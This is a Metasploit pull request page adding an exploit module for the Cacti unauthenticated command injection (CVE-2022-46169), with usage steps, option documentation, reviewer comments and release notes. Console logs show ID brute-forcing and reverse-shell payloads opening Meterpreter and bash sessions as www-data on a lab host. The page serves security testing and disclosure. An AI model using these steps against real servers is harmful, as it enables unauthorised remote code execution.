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# Add cacti\_unauthenticated\_cmd\_injection module and docs (CVE-2022-46169) #17407

New issue

Merged space-r7 merged 3 commits into rapid7:master from ErikWynter:cacti\_unauth\_rce on Jan 23, 2023

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ErikWynter commented on Dec 22, 2022

Contributor



## About

This change adds an exploit module and docs for an unauthenticated command injection vulnerability in Cacti through 1.2.22 (CVE-2022-46169).

## Vulnerable Application

Cacti through 1.2.22 is affected. However, the module has only been tested against 1.2.22.

## Installation Information

- Cacti is open source, and vulnerable versions can be obtained from the official GitHub repository under [releases](#).
- As a shortcut, a vulhub entry is available [here](#) that allows you to spin up a vulnerable instance via a single docker-compose command. The vulhub page also contains instructions for how

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to complete the Cacti installation, how to make it vulnerable, and a PoC.

- Additional details about the exploit are available [here](#)

## Verification Steps

1. Start msfconsole
2. Do: `use`  
`exploit/linux/http/cacti_unauthenticated_cmd_injection`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `set SRVHOST [IP]`
6. Do: `exploit`

## Options

### TARGETURI

The base path to Cacti. The default value is `/`.

### HOST\_ID

The `host_id` value to use. By default, the module will try to bruteforce this.

### LOCAL\_DATA\_ID

The `local_data_id` value to use. By default, the module will try to bruteforce this.

### X\_FORWARDED\_FOR\_IP

The IP to use in the `X-Forwarded-For` HTTP header. This should be resolvable to a hostname in the poller table. Default: 127.0.0.1

## Advanced Options

### MIN\_HOST\_ID

### Development

Successfully merging this pull request may close these issues.

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Lower value for the range of possible `host_id` values to check for. Default: 1

MAX\_HOST\_ID

Upper value for the range of possible `host_id` values to check for. Default: 5

MIN\_LOCAL\_DATA\_ID

Lower value for the range of possible `local_data_id` values to check for. Default: 1

MAX\_LOCAL\_DATA\_ID

Upper value for the range of possible `local_data_id` values to check for. Default: 100

Targets

Id	Name
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0	Automatic (Unix In-Memory)
1	Automatic (Linux Dropper)

Scenarios

Cacti 1.2.22 - Linux Dropper - HOST\_ID and LOCAL\_DATA\_ID not set (bruteforce)

```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > show options

Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection)

  Name          Current Setting  Required  Description
  ----          -
  HOST_ID        0                no        The host ID to use for the request.
  LOCAL_DATA_ID  0                no        The local data ID to use for the request.
  Proxies        []               no        A proxy chain (e.g. http://proxy1:8080/http://proxy2:8080/).
  RHOSTS         192.168.91.195  yes       The target IP address.
  RPORT          8080             yes       The target port.
  SRVHOST        192.168.91.195  yes       The local IP address.
```

```
SRVPORT      9090      yes      The lo
SSL          false     no       Negoti
SSLCert      /         no       Path t
TARGETURI    /         yes      The ba
URIPATH      /         no       The UR
VHOST        /         no       HTTP s
X_FORWARDED_FOR_IP 127.0.0.1 yes      The IP
```

Payload options (linux/x86/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST	192.168.91.195	yes	The listen address
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
1	Automatic (Linux Dropper)

View the full module info with the `info`, or `info -d comm`

`msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject`

```
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to di
[+] The target appears to be vulnerable. The target is C
[*] Trying to bruteforce an exploitable host_id and loca
[*] Enumerating local_data_id values for host_id 1
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[+] Found exploitable local_data_id 180 for host_id 1
[*] Sending stage (1017704 bytes) to 10.18.0.3
[*] Command Stager progress - 100.00% done (773/773 byte
[*] Meterpreter session 1 opened (192.168.91.195:4444 ->
```

```
meterpreter > getuid
Server username: www-data
```

**Cacti 1.2.22 - Unix In-Memory - HOST\_ID and LOCAL\_DATA\_ID set (immediate exploitation)**

```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) >
```

Module options (exploit/linux/http/cacti\_unauthenticated\_cmd\_injection):

Name	Current Setting	Required	Description
----	-----	-----	-----
HOST_ID	1	no	The host ID
LOCAL_DATA_ID	182	no	The local data ID
Proxies		no	A proxy chain of hosts to connect to
RHOSTS	192.168.91.195	yes	The target RHOSTs
RPORT	8080	yes	The target RPORT
SRVHOST	192.168.91.195	yes	The local host to listen on (when not set, listens on the same interface as RHOST)
SRVPORT	9090	yes	The local port to listen on
SSL	false	no	Whether to use SSL
SSLCert		no	Path to the SSL certificate
TARGETURI	/	yes	The base URI to use for the request
URIPATH		no	The URI path to use for the request
VHOST		no	The VHOST to use for the request
X_FORWARDED_FOR_IP	127.0.0.1	yes	The IP address to use for the X-Forwarded-For header

Payload options (cmd/unix/reverse\_bash):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST	192.168.91.195	yes	The listen address
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Automatic (Unix In-Memory)

View the full module info with the `info`, or `info -d` command

```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) >
```

```
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti
[*] Executing the payload. This may take a few seconds..
[*] Command shell session 1 opened (192.168.91.195:4444)
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

# Cacti 1.2.22 - Linux Dropper - HOST\_ID and LOCAL\_DATA\_ID not set (bruteforce with undetermined result, then manual exploitation)

```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) >
```

Module options (exploit/linux/http/cacti\_unauthenticated\_cmd\_injection):

Name	Current Setting	Required	Description
----	-----	-----	-----
HOST_ID		no	The host ID
LOCAL_DATA_ID		no	The local data ID
Proxies		no	A proxy chain of host:port (e.g. proxy1:8080>proxy2:8080>)
RHOSTS	192.168.91.195	yes	The target address(es)
RPORT	8080	yes	The target port
SRVHOST	192.168.91.195	yes	The local host to bind to for outgoing connections
SRVPORT	9090	yes	The local port to bind to for outgoing connections
SSL	false	no	Whether to use SSL for outgoing connections
SSLCert		no	Path to the SSL certificate file
TARGETURI	/	yes	The base URI to use for outgoing connections
URIPATH		no	The URI path to use for outgoing connections
VHOST		no	The virtual host to use for outgoing connections
X_FORWARDED_FOR_IP	127.0.0.1	yes	The IP address to use for the X-Forwarded-For header

Payload options (linux/x86/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST	192.168.91.195	yes	The listen address
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
1	Automatic (Linux Dropper)

View the full module info with the `info`, or `info -d command`

```
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) >
```

```
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id
[*] Enumerating local_data_id values for host_id 1
```

```
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[*] Performing request 100...
[*] Enumerating local_data_id values for host_id 2
[*] Performing request 125...
[*] Performing request 150...
[*] Performing request 175...
[*] Performing request 200...
[*] Enumerating local_data_id values for host_id 3
[*] Performing request 225...
[*] Performing request 250...
[*] Performing request 275...
[*] Performing request 300...
[*] Enumerating local_data_id values for host_id 4
[*] Performing request 325...
[*] Performing request 350...
[*] Performing request 375...
[*] Performing request 400...
[*] Enumerating local_data_id values for host_id 5
[*] Performing request 425...
[*] Performing request 450...
[*] Performing request 475...
[*] Performing request 500...
[!] Identified 15 host_id - local_data_id combination(s)
    host_id: 1 - local_data_id: 156
    host_id: 1 - local_data_id: 157
    host_id: 1 - local_data_id: 158
    host_id: 1 - local_data_id: 164
    host_id: 1 - local_data_id: 166
    host_id: 1 - local_data_id: 167
    host_id: 1 - local_data_id: 168
    host_id: 1 - local_data_id: 169
    host_id: 1 - local_data_id: 170
    host_id: 1 - local_data_id: 173
    host_id: 1 - local_data_id: 174
    host_id: 1 - local_data_id: 175
    host_id: 1 - local_data_id: 176
    host_id: 1 - local_data_id: 177
    host_id: 1 - local_data_id: 178
[*] You can try to exploit these by manually configuring
[-] Exploit aborted due to failure: no-target: Failed to
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject
host_id => 1
msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject
local_data_id => 156
msf6 exploit(linux/http/cacti_unauthenticated_cmd_inject

[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to di
[+] The target appears to be vulnerable. The target is C
[*] Sending stage (1017704 bytes) to 10.18.0.3
```

```
[*] Command Stager progress - 100.00% done (773/773 byte  
[*] Meterpreter session 2 opened (192.168.91.195:4444 ->
```

```
meterpreter > getuid  
Server username: www-data
```



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add cacti\_unauthenticated\_cmd\_injection

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adfoster-r7 reviewed on Dec 22, 2022

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```
modules/exploits/linux/http/cacti_unauthenticated_cm  
d_injection.rb
```

Outdated



Show resolved



fix typo and add credit for discovery

8f96746



jvoisin commented on Jan 4, 2023

Contributor



Some reference to add: <https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/>



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space-r7 added

module

docs

labels on Jan 4, 2023



cdelafuente-r7 reviewed  
on Jan 5, 2023

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```
modules/exploits/linux/http/cacti_unauthenticated_cm  
d_injection.rb
```

Outdated



Show resolved



space-r7 self-assigned this on Jan 9, 2023





space-r7 reviewed on Jan 9, 2023

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space-r7 left a comment

Contributor



No suggestions regarding code. Just marked a few typos found. Thanks!

modules/exploits/linux/http/cacti\_unauthenticated\_cmd\_injection.rb

Outdated



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modules/exploits/linux/http/cacti\_unauthenticated\_cmd\_injection.rb

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modules/exploits/linux/http/cacti\_unauthenticated\_cmd\_injection.rb

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Show resolved



fix typos, add reference, don't use methods to wrap datastore options

8472efe



ErikWynter commented

on Jan 13, 2023

Contributor

Author



@space-r7 thanks for the feedback. My latest commit addresses all the issues that were mentioned here. Let me know if there's anything else I can do to help get this landed :)



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space-r7 reviewed on Jan 19, 2023

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space-r7 left a comment

Contributor



Tested your module, sorry for the delay! Just left a note about adding valid command stager options.

▶ Target 0

▶ Target 1

modules/exploits/linux/http/cacti\_unauthenticated\_cmd\_injection.rb

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space-r7 commented on Jan 23, 2023

Contributor

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Tested versions 1.2.18 and 1.2.22:

▶ v1.2.18 bruteforcing IDs (Both targets)

▶ v1.2.22 bruteforcing IDs (Target 1)

▶ v1.2.22 using datastore options for ids (Both targets)



space-r7 added a commit that referenced this pull request on Jan 23, 2023



Land #17407, add Cacti unauth command injection

153af9f



space-r7 merged commit 8472efe into rapid7:master on Jan 23, 2023



space-r7 added the rn-modules label on Jan 23, 2023

space-r7 commented on Jan 23, 2023

Contributor

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## Release Notes

This adds an exploit that targets various versions of Cacti network-monitoring software. For versions 1.2.22 and below, there exists an unauthenticated command injection vulnerability in remote\_agent.php that when exploited, will result in remote code execution as the user running the Cacti server.

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